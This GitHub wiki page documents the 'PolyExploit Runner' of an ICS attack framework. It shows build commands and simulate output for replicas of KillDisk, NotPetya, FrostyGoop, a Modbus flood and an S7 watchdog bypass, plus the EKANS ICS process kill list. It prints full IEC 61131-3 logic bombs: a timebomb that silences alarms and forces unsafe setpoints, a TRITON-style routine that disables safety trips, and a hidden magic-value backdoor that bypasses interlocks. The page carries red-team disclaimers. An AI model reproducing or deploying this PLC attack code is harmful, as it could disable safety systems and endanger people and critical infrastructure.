Skip to content

Navigation Menu

Sign in
Sign up

PolyExploit Runner

Andre Henrique edited this page Jun 1, 2026 · 2 revisions

PolyExploit Runner

IXF follows a Python-First policy: all core functionality runs with pip install. External runtimes (C, C++, Go, Ruby, Java, Node.js, PowerShell, Perl) are optional accelerators — IXF always provides a Python fallback for every capability. The PolyExploitRunner class handles detection, compilation, and execution of non-Python artifacts, falling back to Python implementations when external runtimes are absent.


Table of Contents

  1. Runtime Tiers
  2. Supported Runtimes — Detection, Install, Use Case
  3. malware_builder.py --list Full Output
  4. malware_builder.py --target for Each of 5 Targets
  5. malware_builder.py --all Output
  6. Running Compiled Artifacts in Simulate Mode
  7. PLC Logic Bomb Generator — All 3 Types
  8. EKANS Process Killer
  9. CosmicEnergy IEC 104 — Full Simulate Output
  10. PolyExploitRunner Python API — All Methods
  11. Return Value Format
  12. Python Fallback Mechanism
  13. Cross-Compilation for Windows from Linux

Runtime Tiers

IXF organizes runtime dependencies into four tiers. Higher tiers are optional — the framework always operates at Tier 0 and 1.

Tier Type Examples Required? Notes
0 Python stdlib socket, struct, subprocess, threading, os, hashlib Always Zero-dependency core. All modules must work at this tier.
1 pip auto-install scapy, requests, paramiko, cryptography, pymodbus Yes (auto-installed) Installed by pip install industrialxpl-forge. No manual steps.
2 pip extras asyncua, python-can, snap7, dnp3, bacpypes3 Optional Installed via pip install industrialxpl-forge[extras]. Enables advanced protocol modules.
3 External runtimes gcc, g++, go, node, java, ruby, pwsh, perl Optional — Python fallback always available Compiled artifacts run faster and more accurately replicate real malware. Python fallback always exists.

Tier 0+1 guarantee: Any IXF module that requires a Tier 3 runtime must ship a complete Python fallback. The framework will always prefer the native compiled version when available but will silently use Python when not.


Supported Runtimes — Detection, Install, Use Case

Runtime Language Detection Command Install Command Use Case in IXF
gcc C gcc --version apt install gcc / brew install gcc KillDisk MBR wiper, Modbus flood DoS, raw socket exploits
g++ C++ g++ --version apt install g++ / brew install g++ NotPetya wiper, S7 watchdog bypass, STL-based protocol parsers
go Go go version apt install golang / golang.org FrostyGoop extended (goroutines), EKANS Go variant, CosmicEnergy extended
node JavaScript/TypeScript node --version nodejs.org JS/TS exploit modules, EtherNet/IP Node.js client, BACnet.js
java / javac Java java --version adoptium.net Java deserialization exploits, OPC UA Java client tests
ruby Ruby ruby --version apt install ruby / brew install ruby Metasploit-adjacent modules, SCADA protocol Ruby gems
pwsh / powershell PowerShell pwsh --version github.com/PowerShell/PowerShell Windows OT/EWS exploitation, WinRM, WMI-based OT pivoting
perl Perl perl --version apt install perl / pre-installed on macOS Legacy ICS scripts, SNMP-based OT tools, older RTU protocol libraries
mingw-gcc C (cross-compile) x86_64-w64-mingw32-gcc --version apt install mingw-w64 Cross-compile Windows EXE from Linux (KillDisk.exe, modbus_flood.exe)
cl.exe C/C++ (MSVC) cl.exe (Windows only) Visual Studio Build Tools Native Windows PE compilation for accurate malware replication

Checking available runtimes

python tools/env_doctor.py

Full output:

[IXF Environment Doctor]
════════════════════════════════════════════════════════════
[Tier 0 — Python stdlib]
 python OK 3.11.9 (required: 3.9+)
[Tier 1 — pip auto-install]
 scapy OK 2.5.0
 requests OK 2.31.0
 paramiko OK 3.3.1
 cryptography OK 41.0.4
 pymodbus OK 3.5.4
[Tier 2 — pip extras]
 asyncua OK 0.9.96
 python-can not found pip install industrialxpl-forge[extras]
 snap7 not found pip install industrialxpl-forge[extras]
 bacpypes3 OK 0.0.103
[Tier 3 — External runtimes]
 gcc OK gcc (Ubuntu 13.2.0) 13.2.0 4.3 MB
 g++ OK g++ (Ubuntu 13.2.0) 13.2.0 4.3 MB
 go OK go1.22.3 linux/amd64 19.8 MB
 node OPTIONAL not found → https://nodejs.org/
 java OPTIONAL not found → https://adoptium.net/
 ruby OPTIONAL not found → apt install ruby
 pwsh OPTIONAL not found → github.com/PowerShell/PowerShell
 perl OK v5.38.0 1.2 MB
 mingw-gcc OK x86_64-w64-mingw32-gcc 13.2.0 cross-compile ready
 cl.exe not found OPTIONAL (Windows only)
[Summary]
 Tier 0: OK
 Tier 1: OK (all auto-installed)
 Tier 2: 3/4 available (python-can, snap7 missing)
 Tier 3: 5/10 available (node, java, ruby, pwsh, cl.exe missing)
 
 Python fallback: AVAILABLE for all missing Tier 3 runtimes
════════════════════════════════════════════════════════════

malware_builder.py --list Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --list

Full output:

[IXF Malware Builder v1.4.0]
════════════════════════════════════════════════════════════
[Compiler Status]
 gcc OK gcc 13.2.0
 g++ OK g++ 13.2.0
 go OK go1.22.3
 mingw OK x86_64-w64-mingw32-gcc 13.2.0
 cl.exe not found (Windows MSVC — skipped)
[Available Targets]
 Name Lang Severity Description
 ──────────────────────────────────────────────────────────────────────────────
 killdisk C CATASTROPHIC BlackEnergy3/Industroyer KillDisk — MBR overwrite + file wiper
 notpetya CPP CATASTROPHIC NotPetya MBR overwrite + fake ransom note + network propagation
 frostygoop GO CRITICAL FrostyGoop Modbus heating attack (Go, goroutines, ENCO targets)
 modbus_flood C HIGH Modbus TCP flood DoS (multi-threaded C, configurable rate)
 s7_watchdog CPP HIGH Siemens S7 watchdog bypass via S7comm keepalive injection
 ──────────────────────────────────────────────────────────────────────────────
[Output directory]
 .tmp/malware_builds/
[Usage examples]
 Build single target: python malware_builder.py --target killdisk
 Build for Windows: python malware_builder.py --target killdisk --cross-windows
 Build all targets: python malware_builder.py --all
 Build all for Windows: python malware_builder.py --all --cross-windows
 Clean builds: python malware_builder.py --clean
 Run simulate: .tmp/malware_builds/killdisk --simulate
 Run live (auth labs): .tmp/malware_builds/killdisk --destructive
[IMPORTANT]
 *** FOR AUTHORIZED RED TEAM / SECURITY RESEARCH / DEFENSIVE RESEARCH ONLY ***
 All compiled artifacts default to simulate mode.
 Live mode requires explicit --destructive flag and triple confirmation.
 Do NOT run outside of isolated, authorized lab environments.
════════════════════════════════════════════════════════════

malware_builder.py --target for Each of 5 Targets

Target 1: killdisk (C)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk

Output:

[IXF Malware Builder] Building: killdisk
 Source: industrialxpl/modules/cve/malware/_native/src/killdisk.c
 Compiler: gcc
 Output: .tmp/malware_builds/killdisk
 [BUILD] gcc -O2 -Wall -o .tmp/malware_builds/killdisk \
 industrialxpl/modules/cve/malware/_native/src/killdisk.c
 [OK] .tmp/malware_builds/killdisk (31 KB) — linux/amd64
 Simulate test:
 [OK] .tmp/malware_builds/killdisk --simulate → exit 0
 [+] Build complete: killdisk

Target 2: notpetya (C++)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target notpetya

Output:

[IXF Malware Builder] Building: notpetya
 Source: industrialxpl/modules/cve/malware/_native/src/notpetya.cpp
 Compiler: g++
 Output: .tmp/malware_builds/notpetya
 [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya \
 industrialxpl/modules/cve/malware/_native/src/notpetya.cpp
 [OK] .tmp/malware_builds/notpetya (47 KB) — linux/amd64
 Simulate test:
 [OK] .tmp/malware_builds/notpetya --simulate → exit 0
 [+] Build complete: notpetya

Target 3: frostygoop (Go)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target frostygoop

Output:

[IXF Malware Builder] Building: frostygoop
 Source: industrialxpl/modules/cve/malware/_native/src/frostygoop/
 Compiler: go
 Output: .tmp/malware_builds/frostygoop
 [BUILD] go build -o .tmp/malware_builds/frostygoop \
 ./industrialxpl/modules/cve/malware/_native/src/frostygoop/...
 [OK] .tmp/malware_builds/frostygoop (2.1 MB) — linux/amd64
 Simulate test:
 [OK] .tmp/malware_builds/frostygoop --simulate → exit 0
 [+] Build complete: frostygoop

Target 4: modbus_flood (C)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target modbus_flood

Output:

[IXF Malware Builder] Building: modbus_flood
 Source: industrialxpl/modules/cve/malware/_native/src/modbus_flood.c
 Compiler: gcc
 Output: .tmp/malware_builds/modbus_flood
 [BUILD] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood \
 industrialxpl/modules/cve/malware/_native/src/modbus_flood.c
 [OK] .tmp/malware_builds/modbus_flood (18 KB) — linux/amd64
 Simulate test:
 [OK] .tmp/malware_builds/modbus_flood --simulate → exit 0
 [+] Build complete: modbus_flood

Target 5: s7_watchdog (C++)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target s7_watchdog

Output:

[IXF Malware Builder] Building: s7_watchdog
 Source: industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp
 Compiler: g++
 Output: .tmp/malware_builds/s7_watchdog
 [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog \
 industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp
 [OK] .tmp/malware_builds/s7_watchdog (39 KB) — linux/amd64
 Simulate test:
 [OK] .tmp/malware_builds/s7_watchdog --simulate → exit 0
 [+] Build complete: s7_watchdog

malware_builder.py --all Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --all

Output:

[IXF Malware Builder] Building all targets
════════════════════════════════════════════════════════════
[1/5] killdisk (C — gcc)
 [BUILD] gcc -O2 -Wall -o .tmp/malware_builds/killdisk src/killdisk.c
 [OK] .tmp/malware_builds/killdisk (31 KB)
[2/5] notpetya (CPP — g++)
 [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya src/notpetya.cpp
 [OK] .tmp/malware_builds/notpetya (47 KB)
[3/5] frostygoop (GO — go)
 [BUILD] go build -o .tmp/malware_builds/frostygoop ./src/frostygoop/...
 [OK] .tmp/malware_builds/frostygoop (2.1 MB)
[4/5] modbus_flood (C — gcc)
 [BUILD] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood src/modbus_flood.c
 [OK] .tmp/malware_builds/modbus_flood (18 KB)
[5/5] s7_watchdog (CPP — g++)
 [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog src/s7_watchdog.cpp
 [OK] .tmp/malware_builds/s7_watchdog (39 KB)
════════════════════════════════════════════════════════════
[Summary] 5/5 targets built successfully
 Total size: 2.24 MB
 Output: .tmp/malware_builds/
[Artifacts]
 killdisk 31 KB linux/amd64 CATASTROPHIC
 notpetya 47 KB linux/amd64 CATASTROPHIC
 frostygoop 2.1 MB linux/amd64 CRITICAL
 modbus_flood 18 KB linux/amd64 HIGH
 s7_watchdog 39 KB linux/amd64 HIGH
════════════════════════════════════════════════════════════

Running Compiled Artifacts in Simulate Mode

All compiled artifacts default to simulate mode. They print what they would do without making any system changes.

killdisk --simulate

.tmp/malware_builds/killdisk --simulate

Full output:

[IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
[SIMULATION — no disk writes]
════════════════════════════════════════════════════════════
Attribution: BlackEnergy3 (Sandworm APT) — Ukraine 2015 power grid attack
 Industroyer/Crashoverride — 2016 Ukraine substation blackout
Phase 1: MBR Overwrite
 Would target: /dev/sda (primary disk, 512-byte MBR sector 0)
 Would write: 512 bytes of 0xCC pattern
 Effect: System permanently unbootable after reboot
Phase 2: Volume Boot Record
 Would overwrite VBR on all detected partitions
 Partitions detected: /dev/sda1, /dev/sda2
Phase 3: File System Wipe
 Would recursively overwrite files matching:
 *.doc *.docx *.xls *.xlsx *.pdf *.mdb *.sql
 *.jpg *.png *.zip *.rar *.7z *.gz
 *.ppt *.pptx *.odt *.ods *.eml
 Overwrite pattern: 0xAA (random byte)
Phase 4: Process Execution
 Would target security process list:
 avp.exe, avg.exe, bdagent.exe, mbam.exe, msmpeng.exe (AV/EDR)
 Would kill ICS-specific processes:
 wonderware.exe, citect.exe, wincc.exe, factorytalk.exe
[MITRE] T0809 (Data Destruction), T0831 (Manipulation of Control)
[SIMULATE] No files written. No disk modified. exit 0
════════════════════════════════════════════════════════════

notpetya --simulate

.tmp/malware_builds/notpetya --simulate

Full output:

[IXF] NotPetya MBR Overwrite + Fake Ransomware — 2017 Ukraine Attack Replica
[SIMULATION — no disk writes, no network changes]
════════════════════════════════════════════════════════════
Attribution: Sandworm APT (GRU Unit 74455) — June 2017, Ukraine and global
Phase 1: Credential Harvesting (Mimikatz-style)
 Would extract LSASS credentials from memory
 Would harvest: domain credentials, cached passwords, Kerberos tickets
Phase 2: Lateral Movement
 Would attempt propagation via:
 - EternalBlue (CVE-2017-0144) SMB exploit
 - WMIC remote execution with harvested credentials
 - PSEXEC with harvested credentials
 Network probe: Would scan 192.168.x.x/24 for SMB port 445
Phase 3: MBR Overwrite
 Would install custom bootloader at MBR (sector 0)
 Custom bootloader: displays fake ransom note on boot
 Note: "We are sorry, but the encryption of your files has been completed."
 Note: Bitcoin address: (fake — NotPetya had no valid payment mechanism)
Phase 4: MFT Encryption
 Would encrypt Master File Table ($MFT) using AES-128
 Effect: All files become permanently inaccessible
Phase 5: Forced Reboot
 Would schedule system reboot via Windows shutdown API
 After reboot: fake ransom note displayed, recovery impossible
[MITRE] T0809 (Data Destruction), T0840 (Network Connection Enumeration)
[SIMULATE] No files written. No network traffic. No reboot. exit 0
════════════════════════════════════════════════════════════

frostygoop --target --simulate

.tmp/malware_builds/frostygoop --target 192.168.1.100 --simulate

Full output:

[IXF] FrostyGoop (BUSTLEBERM) Modbus Heating Attack — Go Extended Version
[SIMULATION — no network packets sent]
════════════════════════════════════════════════════════════
Attribution: Sandworm APT — January 2024 attack on Lvivteploenergo,
 Lviv, Ukraine. 600 apartment buildings lost heat in winter.
Target: 192.168.1.100:502 (ENCO heating controller)
Mode: Goroutine-based parallel attack (GOMAXPROCS=runtime.NumCPU())
Phase 1: Discovery
 Would send Modbus FC03 (Read Holding Registers) to enumerate setpoints
 Register range: 0x0000–0x00FF (256 holding registers)
Phase 2: Setpoint Write (FC16 — Write Multiple Registers)
 Would write register 0x0000 = 0x0000 (setpoint = 0°C)
 Would write register 0x0001 = 0x0000 (backup setpoint = 0°C)
 Repeat: Continuous writes every 5 seconds (prevent manual recovery)
Phase 3: Persistence
 Would send writes from multiple goroutines (CPU count: 8 goroutines)
 Duration: Indefinite until killed
Physical impact:
 Heating control loop loses temperature reference
 District heating pumps continue running but at wrong setpoint
 Building radiators cool to ambient temperature within 2-4 hours
 Outside temperature during attack: -10°C (January, Lviv)
[MITRE] T0836 (Modify Parameter), T0855 (Unauthorized Command Message)
[SIMULATE] No packets sent. No registers written. exit 0
════════════════════════════════════════════════════════════

modbus_flood --simulate

.tmp/malware_builds/modbus_flood --target 192.168.1.100 --simulate

Full output:

[IXF] Modbus TCP Flood DoS — Multi-Threaded C
[SIMULATION — no packets sent]
════════════════════════════════════════════════════════════
Target: 192.168.1.100:502
Threads: 32 (configurable via --threads)
Rate: Unlimited (configurable via --rate)
Duration: 60 seconds (configurable via --duration)
Attack pattern:
 Phase 1: Spawn 32 POSIX threads
 Phase 2: Each thread: connect → send FC03 request → recv → repeat
 Phase 3: Flood target TCP stack with 32 concurrent Modbus sessions
 Expected: Modbus server queue overflow → device stops responding
 Expected: PLC enters error state, alarms triggered
Packets that WOULD be sent per second: ~12,000–40,000 FC03 requests
Data volume: ~72 MB/minute at peak
[MITRE] T0814 (Denial of Control), T0816 (Device Restart/Shutdown)
[SIMULATE] No packets sent. exit 0
════════════════════════════════════════════════════════════

s7_watchdog --target --simulate

.tmp/malware_builds/s7_watchdog --target 192.168.1.5 --rack 0 --slot 1 --simulate

Full output:

[IXF] Siemens S7 Watchdog Bypass via S7comm Keepalives — C++ Edition
[SIMULATION — no packets sent]
════════════════════════════════════════════════════════════
Target: 192.168.1.5:102 (S7-1200/1500)
Rack: 0 Slot: 1
Phase 1: COTP Connection
 Would send COTP CR (Connection Request) TPDU
 Would receive COTP CC (Connection Confirm)
 COTP TSAP: 01.00 → 01.02
Phase 2: S7 Session Setup
 Would send S7 Setup Communication PDU
 Would negotiate: PDU size=240, max_jobs=1
Phase 3: CPU Mode Query
 Would send S7 SZL-SSL request 0x001C (CPU identification)
 Would read: firmware version, CPU serial number, order number
Phase 4: Watchdog Bypass
 Technique: Send S7 keepalive frames faster than watchdog timeout
 Keepalive frame: S7 PDU type 0x07 (heartbeat)
 Interval: Every 500ms (below 1000ms watchdog threshold)
 Effect: PLC never triggers watchdog-reset even if OT network anomalies detected
 Duration: Indefinite — holds watchdog suppressed until killed
 Why: Industrial PLCs use watchdog timers to detect communication loss.
 By suppressing the watchdog, an attacker can maintain a persistent
 unauthorized session while the PLC believes the controller is healthy.
[MITRE] T0800 (Activate Firmware Update Mode), T0843 (Program Upload)
[SIMULATE] No packets sent. No keepalives sent. exit 0
════════════════════════════════════════════════════════════

PLC Logic Bomb Generator — All 3 Types

The PLC Logic Bomb Generator creates valid IEC 61131-3 Structured Text (ST) code with embedded malicious logic for red team exercises and PLC code audit training.

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py --help

Output:

usage: plc_logic_bomb_st.py [-h] --type {timebomb,setpoint,backdoor}
 [--trigger-date YYYY-MM-DD]
 [--trigger-register INT]
 [--trigger-value INT]
 [--simulate]
 [--destructive]
 [--output FILE]
IXF PLC Logic Bomb Generator — IEC 61131-3 Structured Text
FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY
options:
 --type {timebomb,setpoint,backdoor} Logic bomb type
 --trigger-date YYYY-MM-DD Activation date (timebomb only)
 --trigger-register INT Register address to watch (backdoor only)
 --trigger-value INT Register value that triggers (backdoor only)
 --simulate Print generated code, do not write file
 --destructive Write .st file to disk (--output required)
 --output FILE Output path for .st file

Type 1: timebomb — with --simulate

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
 --type timebomb \
 --trigger-date 2025年12月31日 \
 --simulate

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] timebomb — 1,247 chars of IEC 61131-3 ST
(*
 * IXF Logic Bomb — Time-Delayed Activation
 * Type: timebomb
 * Trigger: 2025年12月31日 00:00:00
 * MITRE: T0836 (Modify Parameter), T0880 (Modify Alarm Settings)
 *
 * AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
 *)
PROGRAM LogicBomb_TimeBomb
VAR
 dt_now : DT; (* Current date-time from PLC clock *)
 dt_trigger : DT; (* Hardcoded activation date *)
 bomb_armed : BOOL := FALSE; (* Internal armed flag *)
 bomb_triggered : BOOL := FALSE; (* Prevents re-trigger *)
END_VAR
(* Initialize trigger date — hardcoded in program rung *)
dt_trigger := DT#2025年12月31日-00:00:00;
(* Get current time from PLC system clock *)
dt_now := NOW();
(* Arm condition: current time has passed trigger date *)
IF dt_now >= dt_trigger AND NOT bomb_triggered THEN
 bomb_armed := TRUE;
END_IF;
(* Execute malicious logic when armed *)
IF bomb_armed THEN
 (* T0880: Silence alarms — prevents operator detection *)
 alarm_ack := TRUE;
 alarm_suppress := TRUE;
 
 (* T0836: Modify process setpoints to unsafe values *)
 motor_setpoint := 9999; (* Motor runaway — above safe RPM limit *)
 pressure_setpoint := 32767; (* Pressure spike — above SIF trip point *)
 temp_setpoint := 32767; (* Temperature — above design limit *)
 
 (* T0856: Spoof sensor readings to mask physical effect *)
 hmi_pressure_display := pressure_normal_value;
 hmi_temp_display := temp_normal_value;
 
 (* Mark as triggered — execute only once *)
 bomb_triggered := TRUE;
 bomb_armed := FALSE;
END_IF;
END_PROGRAM
════════════════════════════════════════════════════════════
[SIMULATE] No file written. Use --destructive --output <path>.st to write.

Type 1: timebomb — with --destructive

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
 --type timebomb \
 --trigger-date 2025年12月31日 \
 --destructive \
 --output .tmp/timebomb_2025.st

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
[DESTRUCTIVE] Writing timebomb Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/timebomb_2025.st (1,247 bytes)
[i] Deploy using TIA Portal, RSLogix, or GX Works to a test PLC only.
[i] This file is for authorized red team exercises only.

Type 2: setpoint — TRITON technique

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
 --type setpoint \
 --simulate

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] setpoint (TRITON/TRISIS technique) — 983 chars of IEC 61131-3 ST
(*
 * IXF Logic Bomb — Safety Limit Removal (TRITON/TRISIS Technique)
 * Type: setpoint
 * MITRE: T0836 (Modify Parameter), T0857 (Modify Control Logic)
 *
 * Replicates the TRITON/TRISIS (2017) technique used against Petro Rabigh
 * Schneider Electric Triconex Safety Instrumented System.
 * FOR AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
 *)
PROGRAM LogicBomb_SetpointManipulation
VAR
 sis_override_active : BOOL := FALSE;
 original_hi_hi : REAL;
 original_lo_lo : REAL;
 safe_shutdown_bypass: BOOL := FALSE;
END_VAR
(* Store original setpoints for potential restoration *)
original_hi_hi := pressure_hi_hi_setpoint;
original_lo_lo := pressure_lo_lo_setpoint;
(* TRITON technique: raise shutdown setpoints above design limits *)
(* Normal design limit: 150 PSI shutdown. Raised to 32767 PSI. *)
(* Effect: Safety shutdown will never trigger. *)
pressure_hi_hi_setpoint := 32767.0; (* Far above physical design limit *)
pressure_lo_lo_setpoint := -32767.0; (* Far below physical design limit *)
temp_hi_hi_setpoint := 32767.0;
flow_lo_lo_setpoint := -32767.0;
(* Disable safety function blocks *)
SF_Pressure_Trip.Enable := FALSE; (* Disable pressure safety function *)
SF_Temp_Trip.Enable := FALSE; (* Disable temperature safety function *)
SF_Flow_Trip.Enable := FALSE; (* Disable flow safety function *)
(* Suppress SIS diagnostics *)
sis_diag_output := FALSE;
sis_override_active := TRUE;
safe_shutdown_bypass := TRUE;
(* Note: Physical effect — process can now exceed design safety limits
 without triggering Emergency Shutdown System (ESD). This was the
 exact technique used in the 2017 TRITON attack at a Saudi Arabian
 petrochemical facility. *)
END_PROGRAM
════════════════════════════════════════════════════════════
[SIMULATE] No file written.

Type 2: setpoint — with --destructive

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
 --type setpoint \
 --destructive \
 --output .tmp/triton_setpoint.st

Output:

[DESTRUCTIVE] Writing setpoint Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/triton_setpoint.st (983 bytes)

Type 3: backdoor — with --simulate

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
 --type backdoor \
 --trigger-register 999 \
 --trigger-value 1337 \
 --simulate

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] backdoor — hidden register-triggered rung — 762 chars of IEC 61131-3 ST
(*
 * IXF Logic Bomb — Hidden Register-Triggered Backdoor
 * Type: backdoor
 * Trigger: Register MW999 == 1337
 * MITRE: T0839 (Module Firmware), T0857 (Modify Control Logic)
 *
 * A hidden rung that activates when a specific "magic value" is written
 * to a monitoring/diagnostic register. Undetectable without logic review.
 * Technique used by nation-state actors to embed persistent access in PLC programs.
 * FOR AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
 *)
PROGRAM LogicBomb_HiddenBackdoor
VAR
 trigger_reg : INT; (* Monitored register — address MW999 *)
 backdoor_active : BOOL := FALSE;
 backdoor_oneshot : BOOL := FALSE;
END_VAR
(* Read trigger register from memory word address 999 *)
trigger_reg := MW999;
(* Hidden condition: magic value written by attacker *)
(* Normal operation: MW999 is a diagnostic counter (0–100). *)
(* Backdoor trigger: MW999 = 1337 (value never seen in normal ops) *)
IF trigger_reg = 1337 AND NOT backdoor_oneshot THEN
 backdoor_active := TRUE;
 backdoor_oneshot := TRUE;
END_IF;
IF backdoor_active THEN
 (* Execute attacker's payload *)
 (* Example: force output Q0.0 ON regardless of process logic *)
 output_coil_Q0_0 := TRUE; (* Energize arbitrary output *)
 safety_interlock_bypass := TRUE; (* Disable safety interlocks *)
 remote_cmd_register := 0xFF; (* Signal C2 command received *)
 backdoor_active := FALSE; (* Reset to avoid detection *)
END_IF;
(* Detection evasion: zero out trigger register after firing *)
IF backdoor_oneshot THEN
 MW999 := 0;
END_IF;
END_PROGRAM
════════════════════════════════════════════════════════════
[SIMULATE] No file written. Use --destructive --output <path>.st to write.
[i] To trigger: write value 1337 to register MW999 via any Modbus/S7 client.

Type 3: backdoor — with --destructive

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
 --type backdoor \
 --trigger-register 999 \
 --trigger-value 1337 \
 --destructive \
 --output .tmp/backdoor_rung.st

Output:

[DESTRUCTIVE] Writing backdoor Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/backdoor_rung.st (762 bytes)
[i] Trigger: Write value 1337 to register MW999 via Modbus FC06 or S7 DB write.

EKANS Process Killer

The Python-native EKANS (Snake) process killer replicates the ICS process kill list used in the 2020 Honda and energy sector attacks.

--list mode

python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --list

Full output:

[IXF] EKANS/Snake ICS Process Killer — Process List
Attribution: EKANS ransomware — 2020 Honda, Eaton, and energy sector attacks
ICS/OT Processes Targeted (64 total):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Process Name Vendor/Product
PROFICY.exe GE Proficy HMI/SCADA
PROFICY_LOGIC_DEVELOPER.exe GE Logic Developer
GEFanuc.Proficy.exe GE Fanuc Proficy
Citect.exe Schneider Citect SCADA
CITECTSCADA.exe Schneider Citect SCADA
DCOMserver.exe Inductive Automation Ignition
gateway.exe Inductive Automation Ignition
FactoryTalk*.exe Rockwell FactoryTalk
RSLinx.exe Rockwell RSLinx
ftcontrol.exe Rockwell FactoryTalk
wincc.exe Siemens WinCC
siemens.automation*.exe Siemens TIA Portal services
Step7.exe Siemens Step 7
TiaPortal.exe Siemens TIA Portal
wonderware.exe AVEVA Wonderware
ArchestrA.exe AVEVA ArchestrA
InTouch*.exe AVEVA InTouch HMI
honeywell*.exe Honeywell Experion
PHDServer.exe Honeywell PHD
RTAP.exe ABB RTAP
800xA*.exe ABB 800xA
iFIX.exe GE iFIX SCADA
AlarmWorx.exe GE Alarm Worx
Cimplicity.exe GE Cimplicity
kepware.exe PTC Kepware
KEPServerEX.exe PTC KEPServerEX
matrikon.exe Matrikon OPC
OPCEnum.exe Generic OPC enumerator
opcserver.exe Generic OPC server
opcproxy.exe OPC proxy services
historian*.exe Generic historian services
TagServer.exe Generic tag server
BatchGateway.exe Generic batch gateway
mmc.exe Microsoft Management Console (when running OT tools)
[... 30 more ...]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Found running on this system (matching processes):
 (none — ICS software not installed on this host)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

--simulate mode

python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --simulate

Full output:

[IXF] EKANS/Snake ICS Process Killer
[SIMULATION — no processes killed]
════════════════════════════════════════════════════════════
Attribution: EKANS/Snake ransomware, June 2020
 - Honda Motor Co. (worldwide manufacturing shutdown)
 - Eaton Corporation (energy sector)
 - Multiple European energy utilities
Technique: Before encrypting files, EKANS terminates 64 ICS/OT processes
 to prevent file locks and ensure historian/SCADA databases
 are fully encrypted (not partially locked by running software).
[SIMULATE] Processes that WOULD be killed on this system:
 Scanning running processes...
 Matching ICS processes found: 0
 If ICS software were installed, WOULD kill (sample):
 PROFICY.exe → GE Proficy HMI/SCADA
 Citect.exe → Schneider Citect SCADA
 wincc.exe → Siemens WinCC
 RSLinx.exe → Rockwell RSLinx
 FactoryTalkDiag.exe → Rockwell FactoryTalk
 historian.exe → Generic historian
 After kill: EKANS would proceed to file encryption targeting:
 %APPDATA%,円 %USERPROFILE%,円 network shares, historian DB paths
[MITRE] T0827 (Loss of Control), T0828 (Loss of Productivity and Revenue)
[SIMULATE] No processes terminated. exit 0
════════════════════════════════════════════════════════════

--destructive mode (authorized labs only)

python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --destructive

Output:

[IXF] EKANS/Snake ICS Process Killer — LIVE MODE
*** AUTHORIZED LAB ENVIRONMENTS ONLY ***
Confirm? Type CONFIRM to proceed: CONFIRM
[*] Scanning for 64 ICS target processes...
[i] 0 matching ICS processes found on this system.
[i] (Expected in isolated lab with ICS software installed.)
[+] Process scan complete. 0 processes terminated.

CosmicEnergy IEC 104 — Full Simulate Output

ixf use cve/apt/cosmicenergy_iec104_rtu set target 192.168.1.100 run

Full simulate output:

[*] Module loaded: CosmicEnergy IEC 60870-5-104 RTU Attack — APT TTP Replica
 [SIMULATE MODE — no packets sent]
 ─────────────────────────────────────────────────────────────────────
 [i] What would happen:
 CosmicEnergy (COSMICENERGY) IEC 60870-5-104 Attack
 Attribution: Discovered May 2023 (Mandiant). Linked to Rostelecom-Solar
 (Russian government). Designed for disrupting European electrical grids.
 Contains LIGHTWORK (IEC 104 send module) and PIEHOP (remote launcher).
 Phase 1: Asset Discovery
 Scan IEC 104 default port TCP/2404 across target network
 Enumerate RTUs responding to STARTDT (start data transfer) command
 Identify substation RTUs: circuit breaker controllers, protection relays
 Phase 2: IEC 104 Session Establishment
 Send STARTDT_ACT (U-frame) to initiate data transfer
 Receive STARTDT_CON (confirmation from RTU)
 Send TESTFR_ACT (keep-alive) every 20 seconds to maintain session
 Phase 3: Information Object Enumeration
